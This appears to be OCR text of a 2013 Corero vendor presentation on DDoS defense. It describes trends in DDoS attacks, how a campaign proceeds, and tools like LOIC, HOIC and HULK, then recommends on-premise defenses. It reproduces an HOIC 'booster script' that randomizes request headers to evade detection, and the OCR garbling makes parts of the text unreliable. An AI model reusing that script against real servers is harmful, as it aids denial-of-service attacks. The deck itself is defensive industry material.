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— Are Denial of Service Attacks Increasing?

According to Akamai’s “ State of the Internet” report for the fourth quarter of
2012, the number of DDOS attacks increased by 200% compared to 2011.
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Low Orbit ION Cannon for Droid?

Can you launch a Denial of Service Attack
from a Phone?
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WM hitp //www Lock On
used to Launch an Attack. .p

Selected Target

Where can you download LOIC for Android? NONE
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_ Infrastructure Attacks vs. Solutions

Network Reflective § Outbound ¥ Application § Specially | Pre-Attack | Advanced

Level DDoS DDoS Layer Crafted Recon Evagion
DDoS Attacks Attacks DDoS Packet (Scans) Techniques
Attacks Attacks Attacks (AET)

IP Threat Level Stateful Flow B| Dlrectlonal Behawor Protocol Scan Advanced
Assessment Awareness Flood Detectlon Analysis Analysis Obfuscation Evasion Detect |
DDoS and Unwanted Traffic — On-Premise Defenses

“Clean Pipe” anti-DDoS Service 25% of DDoS

attacks are
Application-
Based

|
‘Cloud” anti-DDoS Servic

Coverage of today’s “service provider” solutions is not adequate
for 80% of the most damaging attacks and provides no Pre-Attack
Reconnaissance and AET protection.

NOTE: The Attackers know this as well!
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— Anatomy of a Successful DDoS Attack

Today’s sophisticated DDoS Attackers will:
Footprint (profile) the Web Presence

Scan the infrastructure and Web resources
Initiate network-level volumetric attack
Test if Web Presence is impacted

Maintain Flood — spoof all source IPs
Initiate low-and-slow application attacks
Initiate specially-crafted packet attacks AﬁéNY\/IOUS
Initiate DNS reflective/amplified attacks e
Attempt to exploit (compromise) downstream servers
10.Simultaneously launch as many types of attacks as possible
11.Not relent or subside — they stand very firm in their resolve

-
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A combined attack simply increases the chance of success!

— —

NETWORK SECURITY



—— HOIC — Another Tool of Choice

« Acrafty DDoS tool called High Orbit lon Cannon (HOIC) uses the

concept of Booster Scripts to make the tool more effective and less
detectable.

What are the Booster Scripts primarily for?
1. Increasing the Size of a Botnet

2. Randomizing Requests _>
Increasing Packets per Second
Randomizing Source IPs
Randomizing Victim Addresses

o kW

“Payload Pattern Matching” Techniques (signatures) = Nearly Useless




— Example — HOIC Generic Booster Script

| | genericboostho
File Edit Format View Help

Dim useragents() as string
Dim referers() as string
dim randheaders() as string

// EDIT THE FOLLOWING STRINGS TO MAKE YOUR OWN BOOST UNIQUE AND THEREFORE MORE EVASIVE!

// populate list

useragents. append "Mozilla/s.
useragents. append "Mozilla/ 4.
useragents. append "Mozilla/ 4.
useragents. append "Mozilla/ 4.

0 (windows; U; windows NT 5.1; en-GB; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6"

0 (compatible; MSIE 7.0; windows NT 5. 1"

0 (compatible; MSIE 7.0; windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)"

0 (compatible; MSIE 6.0; wWindows NT 5.1; CNET CLR 1.1.4322)"

useragents. Append "M02111a/4 0 (compatible; MsSIE 5.0; windows NT 5.1; .NET CLR 1.1.4322)"

useragents. Append "Googlebot/2.1 ( http://www.googlebot. com/bot. html) "

useragents. append "Mozil1a/5.0 (windows; U; windows NT 6.0; en-us) aApplewebkit/534.14 (KHTML, like Gecko) Chrome/9.0.601.0 safari/534.14"
useragents. append "Mozilla/5.0 (wWindows; U; windows NT 5.1; en-us) aApplewebkit/534.14 (KHTML, like Gecko) Chrome/9.0.600.0 safari/534.14"
useragents. append "Mozilla/5.0 (windows; U; windows NT 5.1; en-us) AEp1ewebKit/534.13 (KHTML, Tike Gecko) Chrome/9.0.597.0 safari/534.13"
useragents.Append "Mozilla/ /5.0 (x11; u; Linux x86_64; en-uUs) Applewebkit/534.13 (KHTML, like Gecko) ubuntu/10.04 Chromium/9.0.595.0 Chrome/9.0.595.0 safar
useragents.Append "Mozilla/5.0 (compatible; MSIE 7.0; windows NT 5.2; WOwWS4; .NET CLR 2.0.50727)"

useragents.Append "Mozilla/5.0 (compatible; MSIE 8.0; windows NT 5.2; Trident/4.0; Media Center PC 4.0; 5LCC1; .NET CLR 3.0.04320)"
useragents.append "Mozilla/5.0 (Macintosh; uU; Intel Mac 05 X 10_5_8; zh-cn) Applewebkit/533.18.1 (kKHTML, like Gecko) version/5.0.2 safari/533.18.5"
useragents.Append "Mozilla/5.0 (windows; U; windows NT 6.1; es-ES) Applewebkit/533.18.1 (kKHTML, Tike cecko) version/5.0 safari/533.16"
useragents.Append "Opera/9.80 (windows NT 5.2; U; ru) Presto/2.5.22 version/10.51"

useragents.Append "Mozilla/ /5.0 (windows NT 5.1; u; Firefox/5.0; en; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Oopera 10.53"

// populate referer Tist

referers.append "http://www.google. com/?g="+URL
referers.append URL

referers.append "http://www.google.com/"
referers.append "http://www.yahoo.com/"

// add random headers

randheaders. Append "Cache-Control: no-cache”

randheaders. Append "If-Modified-5ince: sat, 29 Oct 1994 11:59:59 GMT"
randheaders. Append "If-Modified-5ince: Tue, 18 Aug 2007 12:54:49 GMT"
randheaders. Append "If-Modified-5ince: wed, 30 Jan 2000 01:21:09 GMT"
randheaders. Append "If-Modified-5ince: Tue, 18 Aug 2009 08:49:15 GMT"
randheaders. Append "If-Modified-5ince: Fri, 20 Oct 2006 09:34:27 GMT"
randheaders. Append "If-Modified-5ince: Mon, 29 Oct 2007 11:59:59 GMT"
randheaders. Append "If-Modified-5ince: Tue, 18 Aug 2003 12:54:49 GMT"

S e D0 NOT EDIT BELOW THIS LIME

J/ generate random referer

Hea ers.Append "Referer: " + referers(RndNumber (0, referers.UBound))
generate random user agent (DO NOT MODIFY THIS LINE)

Hea ers.Append "User-Agent: " + useragents(RndNumber {0, useragents.UBound))

J/ Generate random headers

Headers. Append randheaders(RndNumber (0, randheaders.UBound))
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— Attack Demonstration

Low Orbit ION Cannon

Session Edit View Bookmarks Settings Help Session Edit View Bookmarks Settings Help

q) )ebit
Ton Cannon

High Orbit ION Cannon

— H.O.LC. | v2.9.003 | Truth is on the side of the oppressed. root®VIRTUALBOXIMAGES: ~ - Shell - Konsole <3>

B3 Session Edit View Bookmarks Settings Help
Taraet ynbol reference at killapache.pl line 63
a synbol reference at killapache.pl line

FIRE TEH LAZER!

HULK Metasploit Dirt Jumper

huikpy %

0

# HULK - HTTP Unbearable Load King

.

= this ool is a dos tool that is meant to put heavy Load on HITP servers in order to bring then
to their knees by exhausting the resource pool, its is meant for research purposes only

= and any malicious usage of this tool is prohibited.

H
= author : Barry shteisan , version 1.0
Y

* root@bt: ~/Desktop.
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— Top Ten Tips for 2013

Your “First Line of Defense” Must Block:

Known malicious IP addresses - constantly update reputation intelligence

Unwanted countries where you do not do business — current geolocation information
Botnet infected machines and DDoS’ers — allow yet monitor all real users
Application abusers and unwanted activities — enforce usage standards

All unnecessary ports and protocols — deep packet inspect all allowed services
Protocol anomalies and violations - enforce RFC & industry standards

Advanced evasion techniques - manage fragmentation/segmentation policies

Exploits designed for data exfiltration — stop focused attackers at the perimeter

© 0o N o 0o B~ W D=

Brute-force password attempts — log and alert any suspicious activity

10. Lack of information about the state of your perimeter — increase your visibility




—— (Gartner: Best Practices - Mitigating DoS Attacks

 Ensure That Business Continuity/Disaster Recovery and Incident
Response Plans Address Planning for and Response to DDoS

« Evaluate ISP "Clean Pipe" Services
« Evaluate DDoS "Mitigation as a Service" Options
 Deploy DDoS Detection and Mitigation Equipment on Premises
Why does Gartner mention on-premise defenses?
On-premise defenses can defeat application-layer attacks!

Network Specially Advanced
Level Reflective Outbound Application Crafted Pre-Attack Evasion
DDoS DDos DDoS Layer DD oS Packet Recon Techniques
Attacks Attacks Attacks Attacks Attacks {Scans) {AET)
T BT T e e BT e e | Defense Technigue || Defense Technique || Defanse Technigue
IP Threat-Level Stateful Flow Ei-Directional Behavior . Scan Acvanced " ° »”
Assessment | Awareneass Flood Detection Analysis ProtocolAnaIysm Obfuscation ‘ Hybrld ApproaCh
I
\ On-Premise PDoS (UnwantedTraffic) Defenses Makes the MOSt
| l I | Gartner: Sense!
\“Clean Pipe"” anti-DD oS Service
. | _
l “Cloud” anti-DDo5S Service

attacks are
- Iication‘
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—— Financial Industry Quote:

* "Financial Institutions must have a layered approach to security
to protect from today's DDoS attacks.

« If you only rely on cloud (based DDoS defense) and the DDoS
attack is impacting the region (and hundreds of end customers),
your organization may be put on hold while they handle issues in
a first come first served basis.

« Having on-premise protection is critical to mitigate a DDoS
attack while you wait for your service provider to respond”.

Bank of America - Merrill Lynch, Chicago office, Senior
Vice President, Senior Manager of Information Security




— DDoS Defense — More than a Checkbox

Problem:

« Many perimeter security devices claim to have DDoS Protection
 Most have a single configuration = DDoS On/DDoS Off

Recommendation:

e Deploy Technology:
— that has extremely granular DDoS configurations
— that can defend against nearly all DDoS Attack Vectors
— that can handle the load while under DDoS attack
— that cannot be DDoS'd itself as part of a DDoS attack
— that includes 24x7 DDoS defense Support Services
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—— Typical Network Topology

) Servers and
Firewall IT Infrastructure Applications

Internet’s
No-Man’s Land

= (= (= ]

Assumption: Customer Traffic Flowing Through As Expected




— The Result of Unwanted Traffic

Internet’s Unwanted Overworked Stressed IT Unresponsive
No-Man’s Land Traffic Firewalls Infrastructure Applications

IF’S

SLB ..AA

T

WAF

Impacts: service degradation, site downtime, threat exposure,
infrastructure overload, brand damage, lost business

CQIere




—— A New Way of Thinking!

Internet’s A New First Line Efficient Effective IT High Performing
No-Man’s Land of Defense Firewalls Infrastructure Applications
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Protect your IT infrastructure by removing broad-based attacks FIRST!




Defense In Depth

I
Threat Cloud | New First Line
Intelligence Security I of Defense

I
Firewall IPS I Web SIEM
SLB WAF _SLBWAF | Analytics Analytics Big Data
I

2.

l|

i\

I\

i\
i \

2.
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Deploy Technology that Can Block the
Broadest Spectrum of Unwanted Traffic

Q.. :

I

. |

I I | I

I I I I

I I _ 1 Sourcefire |

| | Checkpoint I Fortinet 1

Webroot I I Palo Alto I I
Kaspersky Prolexic I Corero | Fortinet | IBM I ArcSight
McAfee Akamai |  Radware | Juniper | HP | Silver Tail Splunk
Symantec VeriSign 1 Arbor I Cisco I F5 I Accertify Q1 Labs




_ Want to Learn More?

Check out Our Website — www.Corero.com

=

« If you'd like a copy of today’s presentation, email info@corero.com
 Questions? Please forward them to stephen.gates@corero.com
* Follow us on Twitter - @Corero
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Disclaimer

1.  BackTrack is a GNU/Linux software distribution that includes a number of security-related software
tools. Qualified Corero technical personnel occasionally use BackTrack as part of demonstrations on
isolated networks to show the effectiveness of our solutions in blocking remote exploit
attempts. Corero neither provides, recommends, nor endorses BackTrack, and advises customers to use
caution when investigating or using BackTrack or any security-related software tools. Corero would be
glad to speak with you regarding our solution, and would be pleased to provide a web-based
demonstration of its capabilities.

2.  Metasploit Framework is an open-source computer security software tool that can be used for
developing and executing exploit code on remote computers. Qualified Corero technical personnel
occasionally use Metasploit Framework as part of demonstrations on isolated networks to show the
effectiveness of our solutions in blocking remote exploit attempts. Corero neither provides,
recommends, nor endorses Metasploit Framework, and advises customers to use caution when
investigating or using Metasploit Framework or any security-related software tools.

3. Low Orbit lon Cannon (LOIC) is an open-source software testing tool that can be used for initiating
network transactions targeting (aka attacking) remote computers. Qualified Corero technical personnel
occasionally use LOIC as part of demonstrations on isolated networks to show the effectiveness of our
solutions in blocking DDoS Attacks. Corero neither provides, recommends, nor endorses LOIC, and
advises customers to use caution when investigating or using LOIC or any security-related software
tools.

COrery
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